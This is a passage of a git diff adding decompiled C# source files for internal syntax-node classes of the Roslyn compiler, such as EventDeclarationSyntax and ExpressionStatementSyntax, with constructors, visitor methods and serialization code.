Microsoft.CodeAnalysis.CSharp.Syntax.EventDeclarationSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitEventDeclaration(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitEventDeclaration(this); + } + + public EventDeclarationSyntax Update(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken eventKeyword, TypeSyntax type, ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifier, SyntaxToken identifier, AccessorListSyntax accessorList, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || eventKeyword != EventKeyword || type != Type || explicitInterfaceSpecifier != ExplicitInterfaceSpecifier || identifier != Identifier || accessorList != AccessorList || semicolonToken != SemicolonToken) + { + EventDeclarationSyntax eventDeclarationSyntax = SyntaxFactory.EventDeclaration(attributeLists, modifiers, eventKeyword, type, explicitInterfaceSpecifier, identifier, accessorList, semicolonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + eventDeclarationSyntax = GreenNodeExtensions.WithDiagnosticsGreen(eventDeclarationSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + eventDeclarationSyntax = GreenNodeExtensions.WithAnnotationsGreen(eventDeclarationSyntax, (IEnumerable)annotations); + } + return eventDeclarationSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new EventDeclarationSyntax(base.Kind, attributeLists, modifiers, eventKeyword, type, explicitInterfaceSpecifier, identifier, accessorList, semicolonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new EventDeclarationSyntax(base.Kind, attributeLists, modifiers, eventKeyword, type, explicitInterfaceSpecifier, identifier, accessorList, semicolonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal EventDeclarationSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 8; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + modifiers = val2; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + eventKeyword = syntaxToken; + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + type = typeSyntax; + ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifierSyntax = (ExplicitInterfaceSpecifierSyntax)reader.ReadValue(); + if (explicitInterfaceSpecifierSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)explicitInterfaceSpecifierSyntax); + explicitInterfaceSpecifier = explicitInterfaceSpecifierSyntax; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + identifier = syntaxToken2; + AccessorListSyntax accessorListSyntax = (AccessorListSyntax)reader.ReadValue(); + if (accessorListSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)accessorListSyntax); + accessorList = accessorListSyntax; + } + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken3 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + semicolonToken = syntaxToken3; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)modifiers); + writer.WriteValue((IObjectWritable)(object)eventKeyword); + writer.WriteValue((IObjectWritable)(object)type); + writer.WriteValue((IObjectWritable)(object)explicitInterfaceSpecifier); + writer.WriteValue((IObjectWritable)(object)identifier); + writer.WriteValue((IObjectWritable)(object)accessorList); + writer.WriteValue((IObjectWritable)(object)semicolonToken); + } + + static EventDeclarationSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(EventDeclarationSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new EventDeclarationSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/EventFieldDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/EventFieldDeclarationSyntax.cs new file mode 100644 index 0000000..8b76740 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/EventFieldDeclarationSyntax.cs @@ -0,0 +1,206 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class EventFieldDeclarationSyntax : BaseFieldDeclarationSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly GreenNode? modifiers; + + internal readonly SyntaxToken eventKeyword; + + internal readonly VariableDeclarationSyntax declaration; + + internal readonly SyntaxToken semicolonToken; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public override SyntaxList Modifiers => new SyntaxList(modifiers); + + public SyntaxToken EventKeyword => eventKeyword; + + public override VariableDeclarationSyntax Declaration => declaration; + + public override SyntaxToken SemicolonToken => semicolonToken; + + internal EventFieldDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken eventKeyword, VariableDeclarationSyntax declaration, SyntaxToken semicolonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 5; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)eventKeyword); + this.eventKeyword = eventKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)declaration); + this.declaration = declaration; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal EventFieldDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken eventKeyword, VariableDeclarationSyntax declaration, SyntaxToken semicolonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 5; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)eventKeyword); + this.eventKeyword = eventKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)declaration); + this.declaration = declaration; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal EventFieldDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken eventKeyword, VariableDeclarationSyntax declaration, SyntaxToken semicolonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 5; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)eventKeyword); + this.eventKeyword = eventKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)declaration); + this.declaration = declaration; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => modifiers, + 2 => eventKeyword, + 3 => declaration, + 4 => semicolonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.EventFieldDeclarationSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitEventFieldDeclaration(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitEventFieldDeclaration(this); + } + + public EventFieldDeclarationSyntax Update(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken eventKeyword, VariableDeclarationSyntax declaration, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || eventKeyword != EventKeyword || declaration != Declaration || semicolonToken != SemicolonToken) + { + EventFieldDeclarationSyntax eventFieldDeclarationSyntax = SyntaxFactory.EventFieldDeclaration(attributeLists, modifiers, eventKeyword, declaration, semicolonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + eventFieldDeclarationSyntax = GreenNodeExtensions.WithDiagnosticsGreen(eventFieldDeclarationSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + eventFieldDeclarationSyntax = GreenNodeExtensions.WithAnnotationsGreen(eventFieldDeclarationSyntax, (IEnumerable)annotations); + } + return eventFieldDeclarationSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new EventFieldDeclarationSyntax(base.Kind, attributeLists, modifiers, eventKeyword, declaration, semicolonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new EventFieldDeclarationSyntax(base.Kind, attributeLists, modifiers, eventKeyword, declaration, semicolonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal EventFieldDeclarationSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 5; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + modifiers = val2; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + eventKeyword = syntaxToken; + VariableDeclarationSyntax variableDeclarationSyntax = (VariableDeclarationSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)variableDeclarationSyntax); + declaration = variableDeclarationSyntax; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + semicolonToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)modifiers); + writer.WriteValue((IObjectWritable)(object)eventKeyword); + writer.WriteValue((IObjectWritable)(object)declaration); + writer.WriteValue((IObjectWritable)(object)semicolonToken); + } + + static EventFieldDeclarationSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(EventFieldDeclarationSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new EventFieldDeclarationSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ExplicitInterfaceSpecifierSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ExplicitInterfaceSpecifierSyntax.cs new file mode 100644 index 0000000..4b24a70 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ExplicitInterfaceSpecifierSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ExplicitInterfaceSpecifierSyntax : CSharpSyntaxNode +{ + internal readonly NameSyntax name; + + internal readonly SyntaxToken dotToken; + + public NameSyntax Name => name; + + public SyntaxToken DotToken => dotToken; + + internal ExplicitInterfaceSpecifierSyntax(SyntaxKind kind, NameSyntax name, SyntaxToken dotToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)dotToken); + this.dotToken = dotToken; + } + + internal ExplicitInterfaceSpecifierSyntax(SyntaxKind kind, NameSyntax name, SyntaxToken dotToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)dotToken); + this.dotToken = dotToken; + } + + internal ExplicitInterfaceSpecifierSyntax(SyntaxKind kind, NameSyntax name, SyntaxToken dotToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)dotToken); + this.dotToken = dotToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => name, + 1 => dotToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ExplicitInterfaceSpecifierSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitExplicitInterfaceSpecifier(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitExplicitInterfaceSpecifier(this); + } + + public ExplicitInterfaceSpecifierSyntax Update(NameSyntax name, SyntaxToken dotToken) + { + if (name != Name || dotToken != DotToken) + { + ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifierSyntax = SyntaxFactory.ExplicitInterfaceSpecifier(name, dotToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + explicitInterfaceSpecifierSyntax = GreenNodeExtensions.WithDiagnosticsGreen(explicitInterfaceSpecifierSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + explicitInterfaceSpecifierSyntax = GreenNodeExtensions.WithAnnotationsGreen(explicitInterfaceSpecifierSyntax, (IEnumerable)annotations); + } + return explicitInterfaceSpecifierSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ExplicitInterfaceSpecifierSyntax(base.Kind, name, dotToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ExplicitInterfaceSpecifierSyntax(base.Kind, name, dotToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ExplicitInterfaceSpecifierSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + NameSyntax nameSyntax = (NameSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)nameSyntax); + name = nameSyntax; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + dotToken = syntaxToken; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)name); + writer.WriteValue((IObjectWritable)(object)dotToken); + } + + static ExplicitInterfaceSpecifierSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ExplicitInterfaceSpecifierSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ExplicitInterfaceSpecifierSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ExpressionColonSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ExpressionColonSyntax.cs new file mode 100644 index 0000000..95bd9e1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ExpressionColonSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ExpressionColonSyntax : BaseExpressionColonSyntax +{ + internal readonly ExpressionSyntax expression; + + internal readonly SyntaxToken colonToken; + + public override ExpressionSyntax Expression => expression; + + public override SyntaxToken ColonToken => colonToken; + + internal ExpressionColonSyntax(SyntaxKind kind, ExpressionSyntax expression, SyntaxToken colonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + } + + internal ExpressionColonSyntax(SyntaxKind kind, ExpressionSyntax expression, SyntaxToken colonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + } + + internal ExpressionColonSyntax(SyntaxKind kind, ExpressionSyntax expression, SyntaxToken colonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => expression, + 1 => colonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionColonSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitExpressionColon(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitExpressionColon(this); + } + + public ExpressionColonSyntax Update(ExpressionSyntax expression, SyntaxToken colonToken) + { + if (expression != Expression || colonToken != ColonToken) + { + ExpressionColonSyntax expressionColonSyntax = SyntaxFactory.ExpressionColon(expression, colonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + expressionColonSyntax = GreenNodeExtensions.WithDiagnosticsGreen(expressionColonSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + expressionColonSyntax = GreenNodeExtensions.WithAnnotationsGreen(expressionColonSyntax, (IEnumerable)annotations); + } + return expressionColonSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ExpressionColonSyntax(base.Kind, expression, colonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ExpressionColonSyntax(base.Kind, expression, colonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ExpressionColonSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + colonToken = syntaxToken; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)expression); + writer.WriteValue((IObjectWritable)(object)colonToken); + } + + static ExpressionColonSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ExpressionColonSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ExpressionColonSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ExpressionElementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ExpressionElementSyntax.cs new file mode 100644 index 0000000..69773f6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ExpressionElementSyntax.cs @@ -0,0 +1,111 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ExpressionElementSyntax : CollectionElementSyntax +{ + internal readonly ExpressionSyntax expression; + + public ExpressionSyntax Expression => expression; + + internal ExpressionElementSyntax(SyntaxKind kind, ExpressionSyntax expression, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal ExpressionElementSyntax(SyntaxKind kind, ExpressionSyntax expression, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal ExpressionElementSyntax(SyntaxKind kind, ExpressionSyntax expression) + : base(kind) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal override GreenNode? GetSlot(int index) + { + if (index != 0) + { + return null; + } + return (GreenNode?)(object)expression; + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionElementSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitExpressionElement(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitExpressionElement(this); + } + + public ExpressionElementSyntax Update(ExpressionSyntax expression) + { + if (expression != Expression) + { + ExpressionElementSyntax expressionElementSyntax = SyntaxFactory.ExpressionElement(expression); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + expressionElementSyntax = GreenNodeExtensions.WithDiagnosticsGreen(expressionElementSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + expressionElementSyntax = GreenNodeExtensions.WithAnnotationsGreen(expressionElementSyntax, (IEnumerable)annotations); + } + return expressionElementSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ExpressionElementSyntax(base.Kind, expression, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ExpressionElementSyntax(base.Kind, expression, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ExpressionElementSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 1; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)expression); + } + + static ExpressionElementSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ExpressionElementSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ExpressionElementSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ExpressionOrPatternSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ExpressionOrPatternSyntax.cs new file mode 100644 index 0000000..494f333 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ExpressionOrPatternSyntax.cs @@ -0,0 +1,21 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class ExpressionOrPatternSyntax : CSharpSyntaxNode +{ + internal ExpressionOrPatternSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal ExpressionOrPatternSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected ExpressionOrPatternSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ExpressionStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ExpressionStatementSyntax.cs new file mode 100644 index 0000000..1b8e4b1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ExpressionStatementSyntax.cs @@ -0,0 +1,159 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ExpressionStatementSyntax : StatementSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly ExpressionSyntax expression; + + internal readonly SyntaxToken semicolonToken; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public ExpressionSyntax Expression => expression; + + public SyntaxToken SemicolonToken => semicolonToken; + + internal ExpressionStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, ExpressionSyntax expression, SyntaxToken semicolonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal ExpressionStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, ExpressionSyntax expression, SyntaxToken semicolonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + 